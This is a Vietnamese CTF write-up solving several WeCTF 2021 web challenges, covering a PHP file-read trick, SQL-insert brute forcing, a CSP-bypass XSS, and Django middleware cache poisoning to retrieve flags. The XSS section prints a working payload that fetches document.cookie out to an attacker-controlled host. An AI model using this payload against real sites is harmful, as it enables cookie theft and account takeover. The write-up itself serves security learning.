[Web]WeCTF 2021
Last updated
Was this helpful?
Last updated
Was this helpful?
Description: The flag is b64decode("d2UlN0I1ODRjNGNiMC1jYjU4LTQ1YWItOTNhNC0yOWY1YmRhYzlmMjJAaGVsbG9faGFja2VycyU3RSU3RA==")
Base64 decode -> URL decode
Description: Yet another buggy PHP website. Note: Flag is at /flag.txt on filesystem
/?🤯=/flag.txt
Description: Shou is so dumb that he leaks his password (flag) to a phishing website.
Source /add:
Đọc source thì ta thấy ở route /add có statement INSERT INTO. Đây là một chỗ mình có thể khai thác.
Ý tưởng: brute-force password của shou bằng cách insert account mới vào với password bất kỳ và username là random nếu như xét ký tự trùng với ký tự của shou, không trùng thì add username là shou để thông báo add lỗi (shou là UNIQUE).
Script:
Description: Shame on Shou if his web app has XSS vulnerability. More shame on him if he does not know how to use CSP correctly.
Tìm một hồi trog code có đoạn dị hợm này thì biết là chỗ cần exploit
Function filter_url():
Ý tưởng: ghi đè CSP script-src bằng việc chèn một thẻ <img> vào và src của image phải qua được filter.
PAYLOAD: <img src="http://a;script-src 'unsafe-inline'"><script>fetch('hostname.server?c=' + document.cookie)</script>
Submit cho checker rồi server của bạn sẽ nhận được cookie (flag) của shou.
Description: Arrogant Shou thinks Django is the worst web framework and decided to use it like Flask. To support some business logics, he developed some middlewares and added to the Flask-ish Django. One recent web app he developed with this is to display flag to admins. Help us retrieve the flag :)
Trong source code thì file wsgi.py
có vẻ là file main và file asgi.py
có nội dung tương tư:
Điều chú ý tiếp theo là quan tâm đến file settings.py
:
Thêm 2 file được định nghĩa tại 2 biến: MIDDLEWARE
và ROOT_URLCONF
.
Tại đây ta có thể thấy, path ta nhập vào chỉ cần chứa chuỗi flag
hoặc index
thì sẽ được reponse tương ứng vì hàm re_path dùng để regex string. Cuối cùng chỉ với TOKEN admin ta mới xem được flag.
Middleware là nơi tiếp nhận tiền xử lý của request và hậu xử lý của respone trước khi đổ về controller hoặc view. __init__
được gọi chỉ 1 lần,__call__
được gọi mỗi lần request (mình tóm tắt tham khảo từ việc đọc doc).
Tại __call__
ta thấy sau khi pase path thì kiểm tra xem path đó có trong CACHE
và còn expire hay không? Nếu có và còn thì sẽ return kết quả respone được lưu sẵn. Ngược lại với lần đầu path xuất hiện, muốn path được lưu vào CACHE
thì phải có suffix .js .html. css (is_static TRUE). Đồng thời lúc này từ server sẽ request lấy reponse path ta truyền vào với "tư cách" admin (token admin).
Kết luận rằng, kết hợp việc endpoint flag
ta chỉ cần nhập đúng regex chứ không cần chính xác và muốn có token admin thì ta phải để server request với điều kiện path nhập vào có đuôi là static file.
Payload: /flagtesthaha.css
Đợi vài giây thì flag sẽ hiển thị.